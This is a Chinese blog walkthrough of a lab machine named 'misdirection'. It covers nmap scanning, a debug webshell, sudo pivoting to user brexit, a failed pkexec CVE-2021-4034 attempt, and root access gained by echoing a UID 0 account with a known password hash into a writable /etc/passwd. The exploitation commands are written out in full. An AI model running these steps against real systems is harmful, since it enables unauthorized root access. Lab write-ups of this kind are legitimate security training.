李乐意的博客

tags:
@ 01/01/0001

端口扫描

nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- 192.168.30.141
nmap --min-rate 10000 -sT -sV -sC -O -p22,80,3306,8080,8081 -oA scan/detail  192.168.30.141
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.141
nmap --min-rate 10000 -script=vuln -p22,80,3306,8080 -oA scan/vuln 192.168.30.141

服务探测

80端口。是个webpy2框架写的http服务。但是登录注册功能都无效。应该是个静态页面。

image-20250923195431413

看8080端口。

image-20250923195357226

漏洞扫描结果中发现有wordpress服务。不过/wordpress和/wordpress/wp-login.php都因为数据库问题无法访问。

不过可以访问的目录有其他目录下没有价值内容。除了/dubug。

image-20250923200000527

image-20250923200029978

就是个webshell功能。

信息收集

可登录用户。

image-20250923200159581

root和brexit。

image-20250923200231369

这条 sudo -l 命令的输出表明,www-data 用户可以在 localhost 上以 brexit 用户的身份,执行 /bin/bash 命令,并且不需要输入密码

sudo -u brexit /bin/bash

现在我们先拿到brexit用户。升级终端

python -c "import pty;pty.spawn('/bin/bash')"
#设置终端类型以支持 vim、less 等程序的正常显示。
export TERM=xterm

image-20250924100527731

继续信息收集。这个还挺多,看到有pkexec,就试了试CVE-2021-4034那个,没成功。

find / -perm -u=s -type f 2>/dev/null
p0wny@shell:…/html/debug# find / -perm -u=s -type f 2>/dev/null
/snap/core/17247/bin/mount
/snap/core/17247/bin/ping
/snap/core/17247/bin/ping6
/snap/core/17247/bin/su
/snap/core/17247/bin/umount
/snap/core/17247/usr/bin/chfn
/snap/core/17247/usr/bin/chsh
/snap/core/17247/usr/bin/gpasswd
/snap/core/17247/usr/bin/newgrp
/snap/core/17247/usr/bin/passwd
/snap/core/17247/usr/bin/sudo
/snap/core/17247/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17247/usr/lib/openssh/ssh-keysign
/snap/core/17247/usr/lib/snapd/snap-confine
/snap/core/17247/usr/sbin/pppd
/bin/su
/bin/ping
/bin/mount
/bin/fusermount
/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/pkexec

先看看其他的。

看/html目录下。除了shell目录和wordpress目录,其他的都看了。而shell目录下也没有信息。

看wordpress内容。

image-20250923201650804

image-20250923201731439

有root.txt不过确实看不了内容。

.htaccess 文件,它是 Apache Web 服务器的一个配置文件,允许你在网站的特定目录下设置规则,而不需要修改主服务器配置。

WordPress 使用这个文件来管理其永久链接(Permalinks),也就是我们看到的简洁、友好的 URL 格式(例如 你的网站.com/关于我们),而不是 你的网站.com/?p=123 这样的 URL。

# BEGIN WordPress

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wordpress/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>

# END WordPress

.htaccess 文件内容详解

这段代码的核心功能就是,把所有不指向真实文件或目录的请求,都交给 index.php 来处理。

  • # BEGIN WordPress# END WordPress: 这些是注释,标记了 WordPress 规则的开始和结束。WordPress 在管理后台中修改永久链接时,会自动更新这些行之间的内容。
  • <IfModule mod_rewrite.c>: 这是一个条件语句。它确保只有当 Apache 服务器加载了 mod_rewrite 模块(URL 重写模块)时,内部的规则才会被执行。这是一个很好的编程习惯,可以避免在服务器不支持该模块时出错。
  • RewriteEngine On: 开启 URL 重写引擎。这是后面所有重写规则生效的前提。
  • RewriteBase /wordpress/: 设置 URL 重写的基础目录。这意味着接下来的所有规则都将从 /wordpress/ 这个子目录开始计算。
  • RewriteRule ^index\.php$ - [L]: 这是一个非常重要的规则,用来防止无限循环。它的作用是:如果请求的 URL 正好是 index.php,那么就停止执行任何其他重写规则。
  • RewriteCond %{REQUEST_FILENAME} !-f: 这是一个条件RewriteCond 总是应用于紧随其后的 RewriteRule。 这条规则检查请求的文件名是否是一个真实的文件。如果请求的 URL 对应的文件在服务器上不存在,则此条件为真。
  • RewriteCond %{REQUEST_FILENAME} !-d: 这是另一个条件。它检查请求的文件名是否是一个真实的目录。如果请求的 URL 对应的目录在服务器上不存在,则此条件为真。
  • RewriteRule . /wordpress/index.php [L]: 这是核心重写规则
    • \.:匹配所有字符。
    • 这条规则的作用是:如果前面的两个条件都为真(即请求的 URL 既不是真实文件,也不是真实目录),那么就把这个请求内部重定向到 /wordpress/index.php
    • [L]:表示这是最后一个规则,如果匹配成功,就停止处理。

image-20250923202312976

index.php

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

WordPress 的核心入口点,唯一作用是加载 wp-blog-header.php

wp-blog-header.php

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once( dirname( __FILE__ ) . '/wp-load.php' );

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once( ABSPATH . WPINC . '/template-loader.php' );

}

require_once( dirname( __FILE__ ) . '/wp-load.php' );: 加载最重要的核心文件。这个文件负责加载所有的 WordPress 核心库、连接数据库、并加载插件和主题的功能。

wp-load.php 是 WordPress 漏洞利用中一个非常关键的文件。

  • 它的作用: wp-load.php 负责初始化整个 WordPress 环境,包括数据库连接、插件和主题的加载。如果你能找到一个文件包含漏洞(LFI),并让它包含 wp-load.php,你就能利用 WordPress 的内部函数,而不是从头开始。
  • 典型的文件包含漏洞:如果你能找到一个像 load.php?file=... 这样的文件包含点,你可以尝试让它包含 wp-load.php,然后利用 WordPress 的功能来执行命令或获取敏感信息。

image-20250923203019122

发现一个wp-comments-post.php。像是内容提交,极有可能有命令注入。

提权

转换思路。

image-20250924094741720

也是polkit的。

还是尝试CVE-2021-4034。这次是其他的。

https://github.com/berdav/CVE-2021-4034

git clone https://github.com/berdav/CVE-2021-4034

image-20250924100821882

make需要root权限安装,那就现在kali编译然后传入目标。

image-20250924101404785

提升这种版本问题就需要静态编译了。

不过这里涉及多个。

切换思路

用户家目录下。.viminfo中记录了用户写入了哪些文件。

image-20250924101751103

查一下可写文件。

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

果然

image-20250924102259691

最后一个就是/etc/passwd,居然有写入权限。

/etc/passwd提权

看一下/etc/passwd里的格式。

image-20250924102607106

示例

root:x:0:0:root:/root:/bin/bash
  • root 是用户名。
  • x 表示密码已被加密存储在 /etc/shadow 文件中。
  • 0 是用户ID(UID)。
  • 0 是组ID(GID)。
  • root 是用户描述。
  • /root 是家目录。
  • /bin/bash 是默认Shell。

我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是woleyi,密码设置为woleyi,用openssl生成对应的hash如下:

openssl passwd -1 woleyi >woleyi.hash

$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.  

整理格式

woleyi:$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.:0:0:woleyi passwd:/woleyi:/bin/bash
echo 'woleyi:$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.:0:0:woleyi passwd:/woleyi:/bin/bash'>>/etc/passwd
cat /etc/passwd

image-20250924103832022

写入成功。登录账号。

Password:brexit@misdirection:~$ su woleyi
su woleyi
Password: woleyi

image-20250924104034061

成功。

image-20250924104107345

Over!